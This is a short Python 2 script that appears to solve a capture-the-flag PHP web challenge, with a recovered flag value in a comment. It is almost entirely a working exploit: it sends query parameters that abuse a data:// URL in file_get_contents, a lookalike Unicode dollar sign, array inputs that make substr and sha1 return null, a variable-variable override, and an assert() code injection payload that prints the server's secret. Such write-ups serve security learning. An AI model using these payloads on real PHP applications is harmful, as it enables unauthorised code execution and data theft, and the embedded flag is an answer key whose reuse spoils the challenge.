#!/usr/bin/env python2

import requests
import urllib
import base64

# flag{7c217708c5293a3264bb136ef1fadd6e}

params = {
    # we can provide a data: url to file_get_contents
    'msg':  'data://text/plain;base64,{}'.format(base64.b64encode('Hello Challenge!')),
    'key1': 1337,
    # the dollar sing is NOT actually the $
    'key2': '0' * 35 + '1337\xef\xbc\x84',
    # if we provide an array, both substr and sha1 return null
    'cc[]': '',
    # we can override k1 with using "$$len = $hack"
    'k1':   '2',
    # assert evaluates the string which results in code injection
    'bb':   'print $flag."\\n"; //'
}

url = 'https://arcade.fluxfingers.net:1819/?{}'.format(urllib.urlencode(params))

with requests.get(url) as r:
    print r.text

